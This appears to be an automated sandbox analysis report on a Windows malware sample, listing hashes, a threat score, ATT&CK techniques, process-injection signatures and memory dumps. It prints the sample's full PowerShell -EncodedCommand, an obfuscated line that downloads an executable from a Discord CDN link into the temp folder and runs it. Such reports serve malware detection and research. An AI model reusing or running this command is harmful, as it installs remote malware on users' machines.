072931fd01b16c71a5ba0c89c4d17151127795231c9baf26ad393002327f6af4

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
26/12/2023, 01:54

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General

Target

d9e4201c44aa17b9a3a1e876ce727cf220ab98b22dc71a8c5002025917fd75db.exe
Size

5KB
MD5

805299701ce93e36f34b01f5805c09f5
SHA1

3573f93d3388363e418a4570e6f97270439aeac2
SHA256

d9e4201c44aa17b9a3a1e876ce727cf220ab98b22dc71a8c5002025917fd75db
SHA512

a5140f73f6da312e885587867275fb765bfc56440d1c1fe8c8f7c53797730ecb9c7ba6026f0f0902a9ec6f33d082deb507cafd7b9a0177ab3e5676cb7826031f
SSDEEP

96:+aR79Ru3VI2Ben5eTUqh4589/zs7LuXlXk3d3ojqrl:9R9Ru33BeniUqhE89/zSqy3d1

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
19	5036	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000\Control Panel\International\Geo\Nation	d9e4201c44aa17b9a3a1e876ce727cf220ab98b22dc71a8c5002025917fd75db.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5036	powershell.exe
5036	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5036	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2968 wrote to memory of 5036	2968	d9e4201c44aa17b9a3a1e876ce727cf220ab98b22dc71a8c5002025917fd75db.exe	88
PID 2968 wrote to memory of 5036	2968	d9e4201c44aa17b9a3a1e876ce727cf220ab98b22dc71a8c5002025917fd75db.exe	88

C:\Users\Admin\AppData\Local\Temp\d9e4201c44aa17b9a3a1e876ce727cf220ab98b22dc71a8c5002025917fd75db.exe
"C:\Users\Admin\AppData\Local\Temp\d9e4201c44aa17b9a3a1e876ce727cf220ab98b22dc71a8c5002025917fd75db.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGcAagBxACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAZABuAC4AZABpAHMAYwBvAHIAZABhAHAAcAAuAGMAbwBtAC8AYQB0AHQAYQBjAGgAbQBlAG4AdABzAC8AMQAxADgANwA4ADYANwAwADQANAA0ADYANQA2ADEAOQAxADEANgAvADEAMQA4ADcAOAA2ADcANAAxADYAMwAxADUAOAAzADQANQA2ADgALwAyADIAZAAuAGUAeABlACcALAAgADwAIwBsAGYAdwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHcAYwBuACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGQAcgBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnADEASABEAFUARQBaAC4AZQB4AGUAJwApACkAPAAjAGoAbgBsACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHYAZABqACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBoAGwAaQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwAxAEgARABVAEUAWgAuAGUAeABlACcAKQA8ACMAbgB1AGoAIwA+AA=="
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5036

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3252bj4k.od1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2968-0-0x0000000000FB0000-0x0000000000FB8000-memory.dmp

Filesize
32KB

Download
memory/2968-2-0x00007FFD61710000-0x00007FFD621D1000-memory.dmp

Filesize
10.8MB

Download
memory/2968-19-0x00007FFD61710000-0x00007FFD621D1000-memory.dmp

Filesize
10.8MB

Download
memory/5036-3-0x000001E82DC20000-0x000001E82DC42000-memory.dmp

Filesize
136KB

Download
memory/5036-4-0x00007FFD614C0000-0x00007FFD61F81000-memory.dmp

Filesize
10.8MB

Download
memory/5036-6-0x000001E82DC60000-0x000001E82DC70000-memory.dmp

Filesize
64KB

Download
memory/5036-5-0x000001E82DC60000-0x000001E82DC70000-memory.dmp

Filesize
64KB

Download
memory/5036-18-0x00007FFD614C0000-0x00007FFD61F81000-memory.dmp

Filesize
10.8MB

Download